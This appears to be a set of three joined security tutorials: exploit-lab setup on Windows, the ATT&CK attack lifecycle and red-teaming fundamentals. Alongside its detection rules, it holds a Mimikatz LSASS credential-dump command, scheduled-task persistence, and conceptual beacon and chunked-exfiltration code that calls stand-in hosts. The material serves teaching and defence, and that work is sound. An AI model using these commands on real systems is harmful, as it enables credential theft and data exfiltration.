Exploit development is destructive by nature. You will corrupt memory, crash services, and intentionally bypass security controls. None of that is acceptable on a production host or a network with real users. The first rule of the lab is isolation: every target lives inside a virtual machine on a Host-Only network with no route to the internet or to your corporate LAN.

Treat the lab as authorized-research-only space. The techniques you practise here map to real adversary behaviour; the difference between research and intrusion is authorization and scope. Never point fuzzers, shellcode, or debuggers at systems you do not own or have written permission to test.

Two disciplines make or break a lab: network isolation and snapshot hygiene. Snapshot before each exercise so a corrupted kernel or a hung service is a 10-second revert, not a rebuild.

2. Choosing a Hypervisor and VM Configuration

Either VMware Workstation or VirtualBox is sufficient. VMware’s virtual serial/named-pipe handling is slightly smoother for kernel debugging; VirtualBox is free and adequate. The canonical lab is two VMs:

Windows 7 x64 is common for early kernel work because it lacks many modern protections. Move to Windows 10/11 targets once you understand the fundamentals — modern exploitation research demands them.

Hardware guidance: allocate 2 vCPU / 4 GB RAM per VM minimum, and give the host enough headroom to run both target and debugger simultaneously. Set the lab adapters to Host-Only so the two VMs see each other but nothing else.

3. The Debugger/Debuggee Model

User-mode and kernel-mode debugging behave differently.

For user-mode work you can debug locally. Kernel debugging is done remotely — corrupting kernel memory typically bricks the running OS, so the debugger must live on a separate machine. This is why the two-VM split is non-negotiable for kernel exploitation.

4. Installing WinDbg and Configuring Symbols

WinDbg is the best fit for Windows exploitation because it handles both user-mode and kernel-mode, and it is free as part of the Windows SDK, the Windows Driver Kit (WDK), and Debugging Tools for Windows. During SDK setup, deselect everything except Debugging Tools for Windows.

WinDbg Preview requires Windows 10 build 1607 (RS1) or newer. Its TTD and modern UI make early learning far less painful than the basic Classic GUI, where newcomers often fight the debugger as much as the target.

Symbols turn raw addresses into named functions. Point WinDbg at Microsoft’s public symbol server via _NT_SYMBOL_PATH or inside the debugger:

.sympath SRV*C:\SymCache*https://msdl.microsoft.com/download/symbols
.reload /f
dt nt!_PEB @$peb

This caches all downloaded PDBs in C:\SymCache. Vendors can supply private PDBs for their own applications; everything else resolves against Microsoft’s public store.

5. Configuring Kernel Debug Transport

Kernel debugging is off by default and must be explicitly enabled on the target. First, add a virtual serial (COM) port to the target VM in your hypervisor, backed by a named pipe. Then create a dedicated debug boot entry with bcdedit.exe so you never alter the clean boot configuration:

bcdedit.exe /copy {current} /d "LabDebug"
bcdedit.exe /debug {<GUID from above>} on
bcdedit.exe /dbgsettings serial debugport:1 baudrate:115200

bcdedit.exe /copy clones the current boot entry; /debug ... on enables kernel debugging for that entry; /dbgsettings selects the serial transport and baud rate. View global settings any time with bcdedit.exe /dbgsettings.

In WinDbg Preview choose Attach to kernel → COM, match the port and baud rate, then boot the target into the LabDebug entry. Verify the connection and symbols:

.reload
x /f nt!NtCreateProcess*
lm m nt

If nt!NtCreateProcess* resolves and lm m nt shows the kernel module with symbols, the pipe is live. Note that local kernel debugging exists but cannot set breakpoints on drivers — only the remote two-VM model gives you live kernel control.

6. Installing x64dbg and Visual Debuggers

For user-mode work, x64dbg is an excellent open-source visual debugger, shipping as x32dbg (32-bit) and x64dbg (64-bit). Its four-pane layout — disassembly, registers, stack, and memory dump — makes control flow and corruption visible at a glance, which is invaluable before you are fluent in WinDbg’s command language.

A typical first session against a practice target looks like this:

# x64dbg walkthrough (narrative)
1. File -> Attach -> select vulnserver.exe
2. Navigate to the target function in the disassembly pane
3. Press F2 to set a software breakpoint (INT3)
4. Press F9 to run; trigger the command from the client
5. Execution halts; inspect EAX/RIP, the stack pane, and dump

Watching RIP land on attacker-controlled bytes in the stack pane teaches the core idea of control-flow hijack faster than any text dump.

7. Disassemblers: IDA and Ghidra

Debuggers are dynamic (running process); disassemblers are static (the binary at rest). You need both.

Use Ghidra or IDA to map a binary’s functions, locate parsing routines, and identify candidate vulnerable code paths before you ever attach a debugger. Ghidra’s decompiler output is free and good enough for most lab work; IDA Pro’s analysis depth justifies its cost in professional research.

8. Exploit Assistance: mona.py, PyKD, and boofuzz

mona.py automates the tedious parts of exploit development — cyclic pattern creation, bad-character identification, and ROP gadget discovery. It was born in Immunity Debugger but runs inside WinDbg through two shims.

Drop pykd.pyd, windbglib.py, and mona.py where WinDbg can load them, then:

.load pykd.pyd
!py mona
!py mona config -set workingfolder C:\MonaLogs\%p_%i

The %p_%i tokens give each process/instance its own log folder, keeping artifacts from different targets separated.

For crash discovery, install boofuzz with pip install boofuzz. Its bundled process_monitor.py watches the target and reports which input produced a crash, which you then reproduce under the debugger. A minimal structural skeleton against Vulnserver:

from boofuzz import Session, Target, SocketConnection, s_initialize, s_string, s_static

session = Session(target=Target(connection=SocketConnection("192.168.x.x", 9999, proto="tcp")))
# define request blocks (s_initialize / s_static / s_string) here
session.connect(s_get("request_name"))
session.fuzz()

This wires the transport and session only — no weaponised payloads. The fuzzer’s job is to find the crash; the debugger’s job is to understand it.

9. Vulnerable Practice Targets

You need intentionally broken software to practise against.

Vulnserver is the standard introduction to Windows user-mode exploitation — its commands map cleanly to overflow, SEH, and bad-character exercises. HEVD is the kernel counterpart, exposing stack overflows, use-after-free, type confusion, and arbitrary write primitives in a controlled driver. Verify the current HEVD release against the HackSysExtreme GitHub repository before deploying.

10. Understanding and Controlling Mitigations

Modern Windows ships layered exploit mitigations. To learn progressively, you disable them on the lab target VM only and re-enable them one at a time to feel each control’s effect.

To disable image ASLR system-wide on the practice target:

:: LAB TARGET VM ONLY — never run this on a production or internet-connected host
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v MoveImages /t REG_DWORD /d 0 /f

This applies to the lab target VM only. On real systems these mitigations are the defense — you are removing them solely to study the underlying primitive. The Windows Security Exploit Protection panel (and Get-ProcessMitigation / Set-ProcessMitigation) provides per-process and system-wide control. Verify ASLR/SEHOP/DEP key paths against current Microsoft documentation before relying on them.

11. PEB Debugging Awareness and Heap Behaviour

A subtle trap: the debugger changes the target’s behaviour. WinDbg does not write a registry key for heap debug flags — it updates the NtGlobalFlag field in the Process Environment Block (PEB) directly. Loading an executable under a debugger also sets PEB flags that reveal the process is being debugged.

Anti-debug logic reads BeingDebugged or NtGlobalFlag to detect you trivially. More dangerously, heap behaviour — chunk sizes, layout, relative distances — differs under a debugger. You can build an exploit that works perfectly attached and fails completely in the wild because the heap state was an artifact of debugging. Always validate final exploits in a non-debugged run. Independently confirm the 32-bit vs. 64-bit PEB offsets against live symbols.

12. Common Attacker Techniques This Lab Lets You Study

This environment exists to study real adversary exploitation primitives safely.

MITRE ATT&CK Mapping

This tutorial sets up the research environment that lets the series study each of these techniques under controlled conditions.

13. Defensive Strategies & Detection

What This Looks Like to a Defender

Lab tooling generates noisy, recognisable telemetry. Knowing it helps you spot the same activity on a monitored production host.

A starting Sigma sketch for a debugger attaching to a target process:

title: Debugger Attaching to Vulnerable Practice Target
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\vulnserver.exe'
    GrantedAccess:
      - '0x1fffff'   # PROCESS_ALL_ACCESS
      - '0x1010'     # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
  filter:
    CallTrace|contains: 'UNKNOWN'   # execution from non-mapped memory
  condition: selection and filter
level: medium

Correlate with ETW providers: Microsoft-Windows-Kernel-Process (process/thread lifecycle), Microsoft-Windows-Kernel-Audit-API-Calls (OpenProcess with specific access masks), and Microsoft-Windows-WER (crash events from Vulnserver/HEVD that flag unexpected terminations).

Hardening for production hosts:

• Disable kernel debugging: bcdedit.exe /debug off; confirm with bcdedit.exe /enum all.
• Enforce mitigations via Set-ProcessMitigation and the Exploit Protection GUI.
• Enable VBS / Credential Guard — it blocks kernel-mode code injection on modern Windows, which is exactly why lab kernel targets are older and unpatched.
• Use WDAC to block unsigned debug tools (which is why the lab disables or excepts it).
• Keep the lab adapter Host-Only with no internet routing.

14. Tools for Lab Setup and Analysis

Summary

• An exploit development lab is two isolated VMs — a debugger and a debuggee — on a Host-Only network, snapshotted before every exercise.
• WinDbg covers both user-mode and kernel-mode; kernel debugging must be enabled with bcdedit.exe over a virtual serial port and is always done remotely.
• mona.py (via PyKD/windbglib), boofuzz, x64dbg, and disassemblers like Ghidra automate discovery and analysis against Vulnserver and HEVD.
• Mitigations (ASLR, DEP, SafeSEH, SEHOP, GS, CFG) are disabled on the lab target only for progressive learning, and the PEB’s BeingDebugged / NtGlobalFlag fields remind you that debuggers alter target behaviour.
• Defenders see this activity through Sysmon EID 1/7/10/13/25, WER crashes, and OpenProcess audit ETW — and harden production hosts with bcdedit.exe /debug off, VBS/Credential Guard, and WDAC.

Related Tutorials

• What is Exploit Development?
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• WinDbg Crash Course: Navigation, Commands, and Workflow for Exploit Devs
• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars

References

• MITRE ATT&CK: Develop Capabilities – Exploits (T1587.004)
• Get Started with Windows Debugging (WinDbg) – Microsoft Learn
• Debugging Tools for Windows SDK and WDK (WinDbg Download) – Microsoft Learn
• Corelan Exploit Writing Tutorial Part 1: Stack Based Overflows
• Metasploit Framework – Getting Started (Official Rapid7 Docs)
• Writing an Exploit Module – Metasploit Official Documentation

The Attack Lifecycle: Reconnaissance to Exfiltration

Objective: Understand how a real-world adversary operation unfolds across the full MITRE ATT&CK Enterprise lifecycle — from pre-engagement reconnaissance through to data exfiltration — and learn how each phase is executed by authorized red teams and detected and disrupted by defenders.

1. Red Teaming & the Attack Lifecycle — Why It Matters

MITRE ATT&CK categorizes the tactics, techniques, and procedures (TTPs) used by real-world threat actors into a standardized matrix of adversary behaviors spanning the entire attack lifecycle. It is organized into three layers:

• Tactics — the tactical goals an adversary pursues (the “why”).
• Techniques — the actions taken to achieve those goals (the “how”).
• Procedures — the concrete technical steps to perform a technique.

The Enterprise matrix contains 14 tactics, beginning with Reconnaissance (TA0043) and ending with Impact. Unlike Lockheed Martin’s linear Cyber Kill Chain, ATT&CK is a behavior catalog — a red team uses it to plan a realistic operation, and a blue team uses the same IDs to measure detection coverage. This tutorial walks a simulated Windows enterprise engagement phase by phase, pairing each offensive step with its detection telemetry.

2. Pre-Engagement: Rules of Engagement and Scoping

No technique in this tutorial is legal without written authorization. A red team operation begins with a signed Rules of Engagement (RoE) document that fixes:

Threat-model selection (e.g., emulating a specific intrusion set) drives which techniques are exercised. Everything that follows assumes explicit, documented authorization.

3. Reconnaissance & Resource Development (TA0043, TA0042)

Reconnaissance (TA0043) gathers information about the target environment for use in later phases. It splits into passive collection — which never touches target infrastructure — and active scanning.

Passive OSINT pulls from public data sources: WHOIS, Shodan, LinkedIn, and certificate transparency logs (T1590, T1589, T1593). Certificate transparency is especially valuable for surfacing subdomains and shadow infrastructure.

# Enumerate subdomains from certificate transparency logs (T1590)
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

# Passive registration metadata (T1590)
whois example.com | grep -Ei 'Registrar|Name Server|Creation'

Active Scanning (T1595) — port and service discovery with tools like Nmap — is the most prominent Reconnaissance technique and the first activity that generates target-side telemetry.

Resource Development (TA0042) prepares the operational toolkit: acquiring infrastructure (T1583), establishing accounts (T1585), and obtaining or developing capabilities (T1588, T1587). For a red team this means standing up redirectors, C2 servers, and phishing domains before any contact with the target.

4. Initial Access (TA0001)

Initial Access (TA0001) is the most frequently employed tactic — it establishes the adversarial foothold. The dominant techniques are Phishing (T1566) and Valid Accounts (T1078), the latter gaining significant prominence in 2024.

In a typical spearphishing scenario, a pretext email lures a user (T1204, User Execution) into opening an attachment that spawns a child process — the handoff point into the Execution tactic.

5. Execution & Persistence (TA0002, TA0003)

Execution (TA0002) runs adversary-controlled code on the host. Command and Scripting Interpreter (T1059) — particularly PowerShell (T1059.001) and the Windows command shell (T1059.003) — is the workhorse, alongside WMI (T1047) and scheduled tasks (T1053).

Persistence (TA0003) ensures the foothold survives reboots and logoffs. Common techniques are Boot or Logon Autostart Execution (T1547) and Scheduled Task/Job (T1053.005). The following illustrates a benign scheduled-task persistence pattern and the events it generates.

# Illustrative persistence via scheduled task (T1053.005)
$action  = New-ScheduledTaskAction -Execute "powershell.exe" `
            -Argument "-NoProfile -File C:\ProgramData\update.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SystemUpdateCheck" `
    -Action $action -Trigger $trigger -RunLevel Highest

This single command produces Windows Event ID 4698 (scheduled task created) and Sysmon Event ID 1 (process creation) with powershell.exe as the task action — a high-fidelity detection pair.

6. Privilege Escalation, Defense Evasion & Credential Access (TA0004, TA0005, TA0006)

Privilege Escalation (TA0004) seeks elevated rights via Process Injection (T1055), Valid Accounts (T1078), and Create or Modify System Process (T1543). Defense Evasion (TA0005) then hides the activity — Indicator Removal (T1070) clears event logs, and Impair Defenses (T1562) disables security tooling.

Credential Access (TA0006) harvests authentication material. OS Credential Dumping: LSASS Memory (T1003.001) reads cleartext credentials and hashes from the LSASS process. The Mimikatz syntax below is a reference for understanding what the technique reads, not a functional payload.

# Mimikatz syntax reference — LSASS memory read (T1003.001)
privilege::debug              # acquire SeDebugPrivilege
sekurlsa::logonpasswords      # parse credential material from LSASS memory

The cross-process read of lsass.exe is exactly what Sysmon Event ID 10 (ProcessAccess) is tuned to catch, typically on a GrantedAccess mask of 0x1410.

7. Discovery (TA0007)

Discovery (TA0007) maps the internal environment once inside. Built-in commands provide low-noise enumeration of accounts (T1087), permission groups (T1069), remote systems (T1018), and host configuration (T1082, T1016).

# Internal recon mapped to Discovery techniques
whoami /all                       # T1033 — user, groups, privileges
Get-ADUser -Filter *              # T1087 — domain accounts
Get-ADGroupMember "Domain Admins" # T1069 — privileged group membership
nltest /domain_trusts             # T1482 — trust relationships
Get-ADComputer -Filter *          # T1018 — remote systems

Graph-based AD enumeration with SharpHound (the BloodHound collector) accelerates this phase by mapping attack paths to high-value objects. Because SharpHound queries many hosts in rapid succession, it surfaces in Sysmon Event ID 3 (network connection) as a fan-out of LDAP and SMB connections from a single process.

8. Lateral Movement (TA0008)

Lateral Movement (TA0008) expands the foothold toward sensitive systems after internal reconnaissance. In Windows-heavy environments the primary techniques are:

Pass the Hash reuses a captured NTLM hash to authenticate without the plaintext password. Kerberoasting requests service tickets for accounts with SPNs, then cracks them offline. A Ticket Encryption Type of 0x17 (RC4-HMAC) instead of 0x12 (AES256) across many Windows Event ID 4769 records in a short window is a strong Kerberoasting indicator. SMB-based movement via PsExec also leaves Sysmon Event ID 17/18 named-pipe artifacts.

9. Collection & Command and Control (TA0009, TA0011)

Collection (TA0009) gathers target data prior to exfiltration: Data from Local System (T1005), Data from Network Shared Drive (T1039), Email Collection (T1114), and Automated Collection (T1119). Collected data is then archived (T1560) to shrink and obscure it.

# Staging collected data (T1560) before exfiltration
Compress-Archive -Path C:\Users\jdoe\Documents\*.docx `
    -DestinationPath C:\ProgramData\stage.zip
certutil -encode C:\ProgramData\stage.zip C:\ProgramData\stage.b64

Command and Control (TA0011) maintains the operator channel. Application Layer Protocol: Web Protocols (T1071.001) blends C2 into normal HTTPS, defeating deep packet inspection; Encrypted Channel (T1573) and Protocol Tunneling (T1572) add further cover. Mature implants beacon low-and-slow with jittered sleep to evade volumetric detection.

# Conceptual HTTPS beacon loop (T1071.001) — illustrative, not implant code
import time, random, requests

while True:
    task = requests.get("https://cdn.example-c2.test/poll", verify=True)
    # ... process task, return results out-of-band ...
    sleep = 60 + random.randint(-15, 15)   # jitter to flatten beacon timing
    time.sleep(sleep)

10. Exfiltration (TA0010)

In Exfiltration (TA0010) the adversary steals the staged data. Because data is already collected and archived, the focus is moving it out without tripping volume or destination alarms.

Exfiltration Over Web Service (T1567) is favored because hosts already communicate with popular SaaS providers, firewall rules likely permit that traffic, and provider SSL/TLS hides the payload. Chunking (T1030) keeps each transfer below detection thresholds.

# Conceptual chunked exfil over a web service (T1567 + T1030) — illustrative
CHUNK = 512 * 1024   # cap per request to stay under size thresholds
with open("stage.b64", "rb") as f:
    while (block := f.read(CHUNK)):
        requests.post("https://storage.example-saas.test/upload",
                      data=block, verify=True)

11. Common Attacker Techniques Across the Lifecycle

12. Defensive Strategies & Detection

Detection is most effective when Sysmon events are chained across phases rather than alerted in isolation.

Pair Sysmon with Windows Security auditing: Event 4624 (logon), 4688 (process + command line), 4698 (scheduled task), 4769 (Kerberos service ticket — watch for 0x17), and 5140/5156 (share access and allowed connections). Enable Audit Process Creation with command-line logging, PowerShell Script Block Logging, and Audit Kerberos Service Ticket Operations. ETW providers such as Microsoft-Windows-PowerShell, Microsoft-Windows-Kernel-Network, and Microsoft-Windows-SMBClient deepen visibility.

A representative Sigma rule chains suspicious PowerShell with an outbound connection:

title: PowerShell Process With Outbound Network Connection
logsource:
  product: windows
  service: sysmon
detection:
  proc:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - 'DownloadString'
      - 'IEX'
  net:
    EventID: 3
    Image|endswith: '\powershell.exe'
  condition: proc and net
level: high

MITRE ATT&CK mapping for the primary abuse primitives:

Hardening per phase: minimize public attack surface and monitor certificate transparency; enforce MFA and patch internet-facing services (T1190); deploy Sysmon with Windows Event Forwarding to a SIEM; segment networks to restrict RDP/SMB; enable Credential Guard and AES256 Kerberos to eliminate RC4 Kerberoasting; and apply DLP with egress filtering against cloud-storage exfiltration.

13. Tools for Attack Lifecycle Analysis

For an engagement debrief, encode the simulated operation as an ATT&CK Navigator layer so the blue team can see exactly which techniques were exercised and where coverage was missing:

{
  "name": "Lifecycle Engagement - 2024",
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1595", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1566", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1059", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1003", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1021", "score": 75,  "color": "#f4a442" },
    { "techniqueID": "T1071", "score": 75,  "color": "#f4a442" },
    { "techniqueID": "T1567", "score": 100, "color": "#e60d0d" }
  ]
}

Summary

• The attack lifecycle is a continuous chain of ATT&CK tactics — Reconnaissance to Exfiltration — that red teams emulate and blue teams measure with the same technique IDs.
• Early phases (TA0043, TA0042, TA0001) establish a foothold through scanning, phishing, and valid-account abuse, while mid-chain phases escalate, evade, and harvest credentials (T1055, T1003.001, T1558.003).
• Lateral movement (T1021, T1550.002) and C2 (T1071.001) expand and sustain access before staged data is archived (T1560) and exfiltrated over trusted channels (T1041, T1567).
• Detection works best by chaining Sysmon events (1, 3, 10, 11, 17/18, 22) with Windows audit IDs (4688, 4698, 4769) and Sigma rules across phases.
• Map every emulated technique into an ATT&CK Navigator layer to expose detection gaps and drive defensive hardening.

Related Tutorials

• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• Reconnaissance, Tactic TA0043 – Enterprise | MITRE ATT&CK®
• Exfiltration, Tactic TA0010 – Enterprise | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Exfiltration Over Web Service, Technique T1567 – Enterprise | MITRE ATT&CK®
• What is the MITRE ATT&CK Framework? | Microsoft Security
• Red Teaming and MITRE ATT&CK | Red Team Development and Operations

Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types

Objective: Understand what a red team engagement actually is, how it differs from vulnerability assessment and penetration testing, the adversarial mindset and methodologies that structure it, the typology of engagement formats, and how every offensive action maps back to MITRE ATT&CK to produce measurable defender value.

1. What Red Teaming Actually Is

Red teaming is objective-driven adversary simulation that tests an organization’s detection and response capability — not an exhaustive enumeration of every vulnerability. A penetration test prioritizes coverage of the attack surface; a red team engagement prioritizes realism and a targeted goal: reaching high-value assets such as executive workstations, code repositories, or financial systems while remaining undetected.

The defining trait: red team engagements deliberately do not seek full coverage. They genuinely test whether the organization can block or detect an attack chain, which is why they are the longest-running of all assessment types — stealth and patience are part of the deliverable.

2. The Adversarial Mindset

A red operator thinks objective-first, not checklist-first. Compliance testing asks “is this control present?” Adversarial thinking asks “what is the cheapest path to the crown jewels that the SOC will not see?”

Three mental anchors define the mindset:

• Objective-first — every action serves a defined goal (data, access, impact). Noise that does not advance the objective is risk.
• Stealth-conscious — assume the environment is instrumented. Prefer living-off-the-land over noisy tooling; pace operations to blend with baseline activity.
• Iterative — reconnaissance, hypothesis, action, observation, adapt. A blocked path is intelligence, not a dead end.

The premise underpinning modern engagements is assume breach: perimeter compromise is treated as inevitable, so the real measurement is how fast the defender detects and contains post-compromise activity.

3. Industry Methodologies

Red teaming inherits structure from established testing methodologies, then layers ATT&CK on top for adversary realism.

PTES (Penetration Testing Execution Standard) provides the canonical seven phases:

1. Pre-engagement Interactions — scope, objectives, rules of engagement, timelines, legal/compliance
2. Intelligence Gathering — reconnaissance, OSINT, passive and active scanning
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting

These methodologies describe how to test; ATT&CK describes how adversaries behave. A red team uses PTES/NIST for process discipline and ATT&CK as the operating language to choose and document technique-level actions.

4. Engagement Types Deep Dive

Engagement format is chosen by organizational maturity and the question being answered.

In an Assumed Breach, the client grants the foothold — executing a payload, issuing a single-use VPN or VDI session, or staging a “stolen laptop” scenario — so the team skips Initial Access and focuses on post-exploitation.

Knowledge levels cut across all formats:

Low-maturity orgs benefit most from purple or objective-based work; mature orgs with a functioning SOC gain the most from full-scope, unannounced engagements.

5. MITRE ATT&CK as the Red Team Operating Language

MITRE ATT&CK is a globally recognized knowledge base of adversary tactics and techniques built from real-world observations. It gives red and blue a common language: tactics are the adversary’s objectives, techniques are how they achieve them, and procedures are the specific implementations.

The Enterprise Matrix spans Windows, macOS, Linux, and cloud, organized into 14 tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.

ATT&CK Navigator lets teams annotate technique coverage as a JSON layer — color and score per technique — to track what was attempted, alerted, or blocked.

{
  "name": "Engagement-2024 Coverage",
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d", "comment": "Initial access - undetected" },
    { "techniqueID": "T1059.001", "score": 50,  "color": "#fce93a", "comment": "Executed - alerted, not blocked" },
    { "techniqueID": "T1003.001", "score": 0,   "color": "#31a354", "comment": "Blocked by Credential Guard" }
  ]
}

Although ATT&CK was created to support adversary emulation, it is equally valuable to blue teams for detection, hunting, and response — which is precisely why red teams document in ATT&CK terms.

6. The Engagement Lifecycle

The Red Team Guide condenses execution into three macro-phases: gain access, establish persistence, and perform operational impact. Expanded against ATT&CK tactics, the flow is:

Pre-Engagement ──► Recon ──► Initial Access ──► Execution ──► Persistence
   (RoE/SoW)     (TA0043)     (TA0001)          (TA0002)      (TA0003)
                                                                  │
                                                                  ▼
   Debrief/Report ◄── Exfiltration ◄── Collection ◄── Lateral Move ◄── Priv Esc
     (ATT&CK map)      (TA0010)         (TA0009)        (TA0008)       (TA0004)

Each phase produces a deliverable: pre-engagement yields the signed scope and RoE; recon yields a target profile; exploitation yields proof-of-access artifacts; reporting yields the ATT&CK-mapped findings and detection-gap backlog.

7. Rules of Engagement and Pre-Engagement

No packet is sent without written authorization. The Rules of Engagement (RoE) and Statement of Work define the legal and operational guardrails. A minimal RoE skeleton:

RULES OF ENGAGEMENT — <Client> / <Vendor>
1. Scope (in-bounds):    IP ranges, domains, cloud tenants, physical sites
2. Out-of-Scope:         Systems/data explicitly forbidden (e.g., prod payroll)
3. Authorized Actions:   Exploitation? Lateral movement? Data exfil simulation?
4. Notification State:   Announced | Unannounced (does SOC know?)
5. Deconfliction:        24/7 emergency contact, get-out-of-jail signal phrase
6. Data Handling:        Treatment of sensitive data encountered mid-op
7. Engagement Window:    Start/end dates, permitted hours
8. Legal Authorization:  Signatures, SoW reference, indemnification

The deconfliction channel and notification state are non-negotiable: they prevent a real incident response from spinning up against an authorized test and define whether the blue team is being tested blind.

8. Reconnaissance — Passive Versus Active

ATT&CK separates passive collection from active probing. T1596 (Search Open Technical Databases) sends no traffic to the target — it queries third-party indexes. T1595 (Active Scanning) probes victim infrastructure directly and is noisier and higher-risk.

import shodan, whois  # read-only OSINT libraries

api = shodan.Shodan("<authorized-engagement-key>")

# Passive WHOIS lookup — registrar/registration metadata only
record = whois.whois("scoped-target.example")
print(record.registrar, record.creation_date)

# Query Shodan's EXISTING index — no packets sent to the target host
host = api.host("203.0.113.10")
for service in host["data"]:
    print(service["port"], service["product"])

Passive recon is favored early because it leaves no trace in the target’s telemetry. Active scanning is sequenced only when scope and stealth budget permit, since it surfaces in firewall and IDS logs.

9. Adversary Emulation and the Tooling Ecosystem

Threat-informed engagements use Adversary Emulation Plans — MITRE prototype documents built from public threat reports — so operators behave like a specific group (e.g., APT29, FIN7), sticking to that actor’s known TTPs with latitude in implementation.

Atomic Red Team enables unit-style TTP testing. The pattern below runs a benign discovery technique on a lab VM to validate telemetry — it produces no harm:

# Lab VM only - benign discovery, no exploitation
Import-Module Invoke-AtomicRedTeam

# T1016 - System Network Configuration Discovery
Invoke-AtomicTest T1016 -ShowDetails
Invoke-AtomicTest T1016 -TestNumbers 1   # runs: ipconfig /all, route print

10. Red, Blue, and Purple Team Dynamics

The mode of collaboration defines the exercise. In an unannounced red team, the blue team is blind — this measures real-world detection. In a purple team, red and blue share visibility and debrief after each TTP, maximizing tradecraft coverage and detection tuning.

Purple is the fastest route to closing gaps; unannounced red is the truest measure of readiness. Mature programs alternate between them.

11. Common Attacker Techniques

A red team chains techniques across tactics. A canonical illustrative chain for teaching — not a how-to — runs:

T1566.001 Spearphishing Attachment → T1059.001 PowerShell → T1003.001 LSASS Memory → T1021.002 SMB/Admin Shares → T1048.003 Exfiltration Over Non-C2 Protocol.

MITRE ATT&CK Mapping

12. Defensive Strategies and Detection

A red team’s value is realized only when the blue team instruments the environment to measure it. Deploy Sysmon with a tuned config and enable the relevant audit policies.

Enable Audit Process Creation (feeds Sysmon EID 1 and Security EID 4688 with command-line logging), Audit Logon Events for credential-based lateral movement, Audit Object Access for exfiltration/persistence, and Audit Privilege Use for escalation. Key ETW providers include Microsoft-Windows-Kernel-Process, Microsoft-Windows-DNS-Client, AMSI, and Microsoft-Windows-PowerShell.

A foundational Sigma sketch for surfacing reconnaissance commands in process-creation telemetry:

title: Red Team Awareness - Host & Domain Discovery Commands
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    CommandLine|contains:
      - 'ipconfig /all'
      - 'route print'
      - 'net group "Domain Admins"'
  condition: selection
level: low

After the engagement, generate a coverage report and feed it into ATT&CK Navigator to drive a prioritized detection backlog:

TACTICS = {
    "T1596": "Reconnaissance", "T1566.001": "Initial Access",
    "T1059.001": "Execution",  "T1003.001": "Credential Access",
    "T1021.002": "Lateral Movement", "T1041": "Exfiltration",
}
detected = {"T1059.001", "T1003.001"}   # techniques the SOC alerted on

for tid, tactic in TACTICS.items():
    status = "HIT" if tid in detected else "GAP"
    print(f"[{status}] {tactic:20} {tid}")

Adopt an assume-breach posture: segment networks so lateral movement is detectable and costly, enable PowerShell Script Block Logging via GPO, and turn on command-line auditing. Map successful detections and missed techniques back to the ATT&CK matrix to build the remediation backlog.

13. Tools for Red Team Operations

Summary

• Red teaming is objective-driven adversary simulation that measures detection and response — not exhaustive vulnerability enumeration.
• The adversarial mindset is objective-first, stealth-conscious, and iterative, anchored on an assume-breach premise.
• Engagement type (full scope, assumed breach, objective-based, threat-informed, purple) is chosen by organizational maturity and the question being asked.
• MITRE ATT&CK’s 14 tactics provide the common language that lets red document operations and blue translate findings into detections.
• Every offensive TTP is paired with Sysmon/audit telemetry and an ATT&CK-mapped debrief that produces a prioritized detection-gap backlog.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• OPSEC Principles for Red Teamers: Staying Undetected
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Adversary Emulation Plans | MITRE ATT&CK®
• Azure Security Control: Penetration Tests and Red Team Exercises | Microsoft Learn
• Microsoft AI Red Team: Building the Future of Safer AI | Microsoft Security Blog
• Getting Started with ATT&CK: Adversary Emulation and Red Teaming | MITRE ATT&CK® (Medium)
• Planning Red Teaming for Large Language Models and Their Applications | Microsoft Learn